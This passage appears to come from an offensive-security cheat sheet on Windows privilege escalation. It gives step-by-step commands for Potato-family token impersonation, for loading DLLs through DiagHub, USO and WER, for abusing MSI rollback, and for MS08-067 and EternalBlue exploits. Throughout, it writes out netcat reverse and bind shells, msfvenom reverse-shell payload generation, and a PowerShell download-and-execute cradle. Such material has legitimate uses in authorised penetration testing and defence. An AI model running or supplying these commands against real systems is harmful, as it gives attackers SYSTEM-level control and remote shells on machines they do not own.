[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /priv
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1337 -e cmd" -z

Meterpreter getsystem and alternatives

meterpreter> getsystem 
Tokenvator.exe getsystem cmd.exe 
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe 
psexec -s -i cmd.exe 
python # from

RottenPotato (Token Impersonation)

  • Binary available at : foxglovesec/RottenPotato and breenmachine/RottenPotatoNG
  • Exploit using Metasploit with incognito mode loaded.
    use incognito
    list\_tokens -u
    cd c:\temp\
    execute -Hc -f ./rot.exe
    impersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('');\"};"

Juicy Potato (Abusing the golden privileges)

If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato
If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato

  • Binary available at : ohpe/juicy-potato

  • Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)

    whoami /priv
  • Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object

  • Execute JuicyPotato to run a privileged command.

    JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
    JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}
    JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
        Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
        [+] authresult 0
        {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
        [+] CreateProcessWithTokenW OK

Rogue Potato (Fake OXID Resolver)

# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. 
# Use this if you have fw restrictions.
RoguePotato.exe -r -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode

EFSPotato (MS-EFSR EfsRpcOpenFileRaw)

  • Binary available at
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs


JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" > C:\juicypotatong.txt

PrintSpoofer (Printer Bug)

this work if SeImpersonatePrivilege is enabled

  • Binary available at
# run nc -lnvp 443 then :
.\PrintSpoofer64.exe -c "C:\Temp\nc64.exe 443 -e cmd"
# without listener
.\PrintSpoofer64.exe -i -c cmd
# Via RPD
.\PrintSpoofer64.exe -d 3 -c "powershell -ep bypass"

EoP - Privileged File Write


⚠ Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the C:\Windows\System32 directory.


  1. Create an evil DLL e.g: payload.dll and move it into C:\Windows\System32
  2. Build
  3. diaghub.exe c:\\ProgramData\\ payload.dll

The default payload will run C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe

Alternative tools: * *


⚠ 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of windowscoredeviceinfo.dll into C:\Windows\Sytem32\ and then have it loaded by the USO service to get arbitrary code execution as NT AUTHORITY\System.


  1. Build
    • Select Release config and x64 architecure.
    • Build solution.
      • DLL .\x64\Release\WindowsCoreDeviceInfo.dll
      • Loader .\x64\Release\UsoDllLoader.exe.
  2. Copy WindowsCoreDeviceInfo.dll to C:\Windows\System32\
  3. Use the loader and wait for the shell or run usoclient StartInteractiveScan and connect to the bind shell on port 1337.


Exploit Privileged File Writes bugs with Windows Problem Reporting

  1. Clone
  2. Copy phoneinfo.dll to C:\Windows\System32\
  3. Place Report.wer file and WerTrigger.exe in a same directory.
  4. Then, run WerTrigger.exe.
  5. Enjoy a shell as NT AUTHORITY\SYSTEM


Exploit Privileged Directory Creation Bugs with Windows Error Reporting

  1. Clone
  2. Create directory C:\Windows\System32\wermgr.exe.local\
  3. Grant access to it: cacls C:\Windows\System32\wermgr.exe.local /e /g everyone:f
  4. Place spawn.dll file and dircreate2system.exe in a same directory and run .\dircreate2system.exe.
  5. Enjoy a shell as NT AUTHORITY\SYSTEM

EoP - Privileged File Delete

During an MSI installation, the Windows Installer service maintains a record of every changes in case it needs to be rolled back, to do that it will create:

  • a folder at C:\Config.Msi containing
    • a rollback script (.rbs)
    • a rollback file (.rbf)

To convert a privileged file delete to a local privilege escalation, you need to abuse the Windows Installer service. * delete the protected C:\Config.Msi folder immediately after it's created by the Windows Installer * recreate the C:\Config.Msi folder with weak DACL permissions since ordinary users are allowed to create folders at the root of C:\. * drop malicious .rbs and .rbf files into it to be executed by the MSI rollback * then upon rollback, Windows Installer will make arbitrary changes to the system

The easiest way to trigger this chain is using thezdi/FilesystemEoPs/FolderOrFileDeleteToSystem. The exploit contains a .msi file with 2 actions, the first one produces a delay and the second throws an error to make it rollback. This rollback will "restore" a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

Then switch to the secure desktop using [CTRL]+[ALT]+[DELETE] and open the On-Screen Keyboard (osk.exe). The osk.exe process first looks for the C:\Program Files\Common Files\microsoft shared\ink\HID.dll library instead of C:\Windows\System32\HID.dll

EoP - Common Vulnerabilities and Exposure

MS08-067 (NetAPI)

Check the vulnerability with the following nmap script.

nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms08-067 <ip_netblock>

Metasploit modules to exploit MS08-067 NetAPI.


If you can't use Metasploit and only want a reverse shell.
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: 3 445 -- for Windows 2003 SP0 Universal
Example: 4 445 -- for Windows 2003 SP1 English
Example: 5 445 -- for Windows XP SP3 French (NX)
Example: 6 445 -- for Windows XP SP3 English (NX)
Example: 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python 6 445

MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7

'KiTrap0D' User Mode to Ring Escalation (MS10-015)

Metasploit : exploit/windows/local/ms10_015_kitrap0d

MS11-080 (afd.sys) - Microsoft Windows XP/2003

Metasploit: exploit/windows/local/ms11_080_afdjoinleaf

MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012

printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32

# x64
use exploit/windows/local/ms15_051_client_copy_image

MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : wmic qfe list | findstr "3139914"


Binary exe :

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc

MS17-010 (Eternal Blue)

Check the vulnerability with the following nmap script or netexec: netexec smb -u '' -p '' -d domain -M ms17-010.

nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17010 <ip_netblock>

Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion.

auxiliary/admin/smb/ms17_010_command          MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

If you can't use Metasploit and only want a reverse shell.

git clone

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 revshell.exe


Exploit :

Requirement: - Windows 7 - Windows 10 LTSC 10240

Failing on : - LTSC 2019 - 1709 - 1803

Detailed information about the vulnerability :